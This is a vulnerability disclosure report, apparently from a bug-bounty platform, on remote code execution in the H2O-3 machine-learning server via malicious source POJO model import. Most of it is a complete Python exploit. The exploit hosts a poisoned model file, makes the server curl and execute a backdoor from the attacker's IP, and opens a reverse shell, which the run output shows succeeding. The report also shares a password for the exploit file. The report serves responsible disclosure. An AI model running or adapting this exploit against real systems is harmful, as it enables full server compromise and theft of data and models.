Remote code execution via source POJO model import in h2oai/h2o-3

Valid

Reported on

Aug 10th 2023


Description

H2O-3 will accept models in various formats, including MOJO, binary POJO, and source POJO. By inserting malicious code into a source POJO, an attacker can upload and run arbitrary code--fully compromising the system with access equal to the permissions of the running h2oai process. All models, runs, and data can be retrieved.

All that needs to be performed is to host the malicious source POJO on http, then request in the web UI within H2O-3 to build a model

Proof of Concept

Vulnerable H2O-3 box is at IP 192.168.166.129 Attacker IP is 192.168.166.128

#!/usr/bin/env python3
# H2O Remote Code Execution Exploit
# required python packages: flask, pwntools
import requests, json
from flask import Flask
import threading
from pwn import *
from time import sleep

from sys import argv

if len(argv) != 3:
    print('Usage:\n\t%s <target IP> <webserver IP (or this IP)>' % argv[0])
    exit(-1)

app = Flask(__name__)
HOST = 'http://%s:54321' % argv[1]
PORT = 4444 # this is the port we will recieve the shell from
BIND_ADDRESS = argv[2]
BIND_PORT = 8080 # this is the webserver port
CATEGORY = 'configured'
NAME = 'gbm_pojo_test.java'
REV_SHELL = '''python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ''' % (BIND_ADDRESS, PORT)
payload = '''
try {
    String command = "%s";
        Runtime run  = Runtime.getRuntime();
        Process proc = run.exec(command);
} catch (Exception e) {}
'''
EXPLOIT = ''

# triggering the vulnerability is done by these 4 HTTP calls
# 08-09 23:07:22.272 172.16.250.130:54321  25099  0419381-54  INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.274 172.16.250.130:54321  25099  0419381-32  INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.277 172.16.250.130:54321  25099  0419381-16  INFO water.default: POST /3/ModelBuilders/generic/parameters, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}
# 08-09 23:07:27.325 172.16.250.130:54321  25099  0419381-55  INFO water.default: POST /3/ModelBuilders/generic, parms: {path=http://127.0.0.1/gbm_pojo_test.java, model_id=generic-70e00869-3cc7-4858-aa16-b27a52fafa91}

@app.route('/')
def malicious_pojo_index():
    global EXPLOIT
    return EXPLOIT

@app.route('/' + NAME)
def malicious_pojo_byname():
    global EXPLOIT
    return EXPLOIT

@app.route('/backdoor')
def backdoor():
    global REV_SHELL
    return REV_SHELL

def trigger_rce(host, path):
    model_id = 'generic-70e00869-3cc7-4858-aa16-b27a52fafa91'
    print('[+]\tAttempting to register model...')
    ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id})
    if ret.status_code != 200:
        print('[-]\tfailure')
        return
    print('[+]\tAsking H2O-3 to retrieve the model from our webserver (1/2)...')
    ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id, 'path': path})
    if ret.status_code != 200:
        print('[-]\tfailure')
        return
    print('[+]\tAsking H2O-3 to retrieve the model from our webserver (2/2)...')
    ret = requests.post(HOST + '/3/ModelBuilders/generic/parameters', data = {'model_id': model_id, 'path': path})
    if ret.status_code != 200:
        print('[-]\tfailure')
        return
    print('[+]\tTriggering the compilation & execution of the malicious model')
    ret = requests.post(HOST + '/3/ModelBuilders/generic', data = {'model_id': model_id, 'path': path})
    if ret.status_code != 200:
        print('[-]\tfailure')
        return

def throw_exploit():
    global EXPLOIT
    path = 'http://%s:%s/gbm_pojo_test.java' % (BIND_ADDRESS, BIND_PORT)
    normal_pojo = open(NAME).read()
    for cmd in ['curl -o /tmp/backdoor http://%s:%d/backdoor' % (BIND_ADDRESS, BIND_PORT),
              'chmod +x /tmp/backdoor',
              'sh /tmp/backdoor']:
        EXPLOIT = normal_pojo.replace('PAYLOAD_LOCATION', payload % cmd)
        # exploit
        trigger_rce(HOST, path)
        sleep(5)

if __name__ == '__main__':
    # webserver
    webserver = threading.Thread(target=app.run, kwargs={'host': "0.0.0.0", 'port': BIND_PORT})
    webserver.start()

    # listening shell
    l = listen(port=PORT, bindaddr=BIND_ADDRESS) 
    exploiter = threading.Thread(target=throw_exploit, args=())
    exploiter.start()
    c = l.wait_for_connection()
    print('[+]\texploit success!!!')
    print('['+'-'*60+']')
    print('[+]\tReceived a shell!!!')
    print('['+'-'*60+']')
    c.send(b'id;whoami;pwd;\n\n\n\n')
    c.interactive()

Output

user@htb:~/Desktop$ python3 h2O-3_exploit.py 192.168.166.129 192.168.166.128
 * Serving Flask app 'e'
 * Debug mode: off
[+] Trying to bind to 192.168.166.128 on port 4444: Done
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8080
 * Running on http://127.0.0.1:8080
Press CTRL+C to quit
[+] Waiting for connections on 192.168.166.128:4444: Got connection from 192.168.166.129 on port 44050
[+]    Attempting to register model...
[+]    Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+]    Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+]    Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:34] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /backdoor HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:34] "GET /backdoor HTTP/1.1" 200 -
[+]    Attempting to register model...
[+]    Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+]    Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+]    Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:39] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:39] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
[+]    Attempting to register model...
[+]    Asking H2O-3 to retrieve the model from our webserver (1/2)...
[+]    Asking H2O-3 to retrieve the model from our webserver (2/2)...
[+]    Triggering the compilation & execution of the malicious model
192.168.166.129 - - [10/Aug/2023 12:24:44] "HEAD /gbm_pojo_test.java HTTP/1.1" 200 -
192.168.166.129 - - [10/Aug/2023 12:24:44] "GET /gbm_pojo_test.java HTTP/1.1" 200 -
[+]    exploit success!!!
[------------------------------------------------------------]
[+]    Received a shell!!!
[------------------------------------------------------------]
[*] Switching to interactive mode
$ uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
user
/home/user/.local/lib/python3.10/site-packages/h2o
$ $ $ $ $ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ $

gbm_pojo_test.java

This file is very large & complex, so it is included here in base64 format: *** REDACTED BY ADMIN, STRING IS TOO LARGE, PLEASE REFERENCE FROM AN EXTERNAL SOURCE ***

Impact

Full compromise of the server running H2O-3 via remote code execution. Other relevant impacts include model and data theft.

Occurrences

Model builder endpoint

Model builder endpoint

Model builder endpoint

We are processing your report and will contact the h2oai/h2o-3 team within 24 hours. 4 months ago
Ben Harvie
4 months ago

Admin


Hey Bryce, your reference to gbm_pojo_test.java was too large for the platform to render. Could you please upload it externally and edit the report to reference the file instead? Thanks!

We have contacted a member of the h2oai/h2o-3 team and are waiting to hear back 4 months ago
Bryce Bearchell
3 months ago

Researcher


No problem (apologies for the delay, I was traveling back from DefCon), I've uploaded a private GIST here: https://gist.github.com/brycebearchell/feaabb9eaf3c6f16239222678b7954ca and the password to the zip file is: "!huntr!java_f1l3" (without the double quotes!). If another format or location would work better for you, please let me know!

Dan McInerney
3 months ago

Hi Bryce,

We haven't heard from the maintainers in about a month so we manually reviewed this finding. We have duplicated this vulnerability and received a reverse shell, excellent exploit. We are doing some backend maintenance at the moment, once we are done with that we will mark this valid.

Thank you for the excellent report and exploit, Dan McInerney Lead Threat Researcher

Dan McInerney modified the ML Modifiers from Upload: No to Upload: Yes a month ago
Dan McInerney validated this vulnerability a month ago
Bryce Bearchell has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Ben Harvie published this vulnerability 15 days ago
to join this conversation